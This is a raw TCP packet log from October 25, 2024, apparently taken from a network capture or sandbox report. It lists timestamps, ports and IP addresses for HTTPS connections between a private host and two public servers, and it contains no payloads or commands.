Oct 25, 2024 10:19:59.266426086 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266482115 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266527891 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.266535044 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266582966 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266628981 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.266638041 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266937971 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266994953 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.267003059 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.267188072 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.267333984 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.267381907 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.267651081 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.267704010 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.267802000 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.267853022 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.267867088 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.267911911 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.268416882 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.268485069 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.268491030 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.268508911 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.268544912 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.268557072 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.385189056 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.385301113 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.385308981 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.385373116 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.385437965 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.386209965 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.386291981 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.386359930 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.386418104 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.386454105 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.386508942 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.386538029 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.386707067 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.386713028 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.386806011 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.386825085 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.386862040 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.609608889 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:59.609671116 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:59.609819889 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:59.610766888 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:59.610784054 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:59.625801086 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.625869036 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.626533031 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.626831055 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.626848936 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.241666079 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.244002104 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.288041115 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.288052082 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.395229101 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.395246983 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.395411015 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.395431042 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.395868063 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.396142960 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.396193981 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.396280050 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.396437883 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.396527052 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.396615028 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.396677971 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.396701097 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.396720886 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.443322897 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.530605078 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.530735970 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.530786991 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.530803919 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.530884027 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.530932903 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.530940056 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.531080008 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.531157017 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.531178951 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.531188011 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.531295061 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.531302929 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.531352043 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.531501055 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.531514883 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.583268881 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.591084957 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.591141939 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.591176987 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.591212988 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.591242075 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.591285944 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.591310024 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.591331959 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.591362000 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.591387987 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.591397047 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.591439962 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.591636896 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.636284113 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.636331081 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.647689104 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.647784948 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.647826910 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.647938967 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.647958040 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.648010969 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.648243904 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.648319960 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.648372889 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.648380041 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.649008036 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.649054050 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.649092913 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.649106979 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.649122000 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.649147034 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.649924994 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.649976015 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.649985075 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.649991989 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.650046110 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.650068045 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.650074005 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.650213957 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.650799990 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.650911093 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.650960922 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.650969028 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.650976896 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.651218891 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.651806116 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.677201033 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.692751884 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.709559917 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.709803104 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.709887028 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.709947109 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.709994078 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.710047960 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.710186005 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.710330009 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.710385084 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.710401058 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.710858107 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.710916996 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.710931063 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.711026907 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.711093903 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.711107969 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.711875916 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.711932898 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.711946964 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.712054968 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.712121010 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.712133884 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.712702036 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.712765932 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.712779045 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.712868929 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.713005066 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.713017941 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.753247976 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.753318071 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.753343105 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.765229940 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.765311956 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.765351057 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.765372038 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.765388012 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.765609980 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.765672922 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.765736103 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.765856981 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.765865088 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.766177893 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.766222000 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.766227961 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.766973019 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.767023087 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.767051935 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.767059088 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.767077923 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.767081976 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.767100096 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.767863035 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.767955065 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.767982960 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.767991066 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.768018007 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.768791914 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.768894911 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.768902063 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.768964052 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.769567966 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.769623041 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.769629955 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.769726038 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.770385981 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.770437002 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.770457983 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.770513058 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.771277905 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.771362066 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.801788092 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.828126907 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.828200102 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.828233957 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.828270912 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.828267097 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.828315020 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.828336954 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.828357935 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.828389883 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.828423977 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.828433990 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.828715086 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.829078913 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.829138041 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.829257965 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.829267025 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.829665899 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.829710960 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.829720974 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.829737902 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.829766989 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.830008030 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.830008030 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.830017090 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.830064058 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.830543041 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.830595970 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.830627918 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.830674887 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.831435919 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.831511974 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.831583977 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.831645966 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.832396984 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.832457066 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.832494020 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.832550049 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.871929884 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.871973991 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.872015953 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.872051954 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.872082949 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.872096062 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.883641005 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.883757114 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.883788109 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.883800030 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.883817911 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.883959055 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.883965969 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.883991003 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.884020090 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.884346962 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.884402990 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.884409904 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.884458065 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.884855032 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.884927034 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.884957075 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.885004044 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.885013103 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.885134935 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.885219097 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.908060074 CEST	50146	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:00.908077002 CEST	443	50146	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:00.947037935 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.947134972 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.947159052 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.947190046 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.947216034 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.947248936 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.947274923 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.947335958 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.947376966 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.947439909 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.947781086 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.947849035 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.948131084 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.948196888 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.948261976 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.948327065 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.949033976 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.949105978 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.949167967 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.949240923 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.949259043 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.949314117 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.949640036 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.949721098 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.949939013 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.950001001 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.950036049 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.950087070 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.950115919 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.950212955 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:00.950306892 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.950592995 CEST	50147	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:00.950627089 CEST	443	50147	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:01.425549030 CEST	50148	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:01.425581932 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:01.425961971 CEST	50148	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:01.426815987 CEST	50148	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:01.426834106 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:01.515938997 CEST	50149	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:01.515997887 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:01.516068935 CEST	50149	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:01.516386032 CEST	50149	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:01.516406059 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.050499916 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:02.050826073 CEST	50148	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:02.050844908 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:02.051336050 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:02.052021980 CEST	50148	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:02.052114010 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:02.052542925 CEST	50148	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:20:02.099329948 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:02.140765905 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.141699076 CEST	50149	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:02.141771078 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.142204046 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.142765045 CEST	50149	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:02.142844915 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.143121958 CEST	50149	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:20:02.187340021 CEST	443	50149	104.18.95.41	192.168.2.6
Oct 25, 2024 10:20:02.194659948 CEST	443	50148	104.18.94.41	192.168.2.6
Oct 25, 2024 10:20:02.194715977 CEST	50148	443	192.168.2.6	104.18.94.41
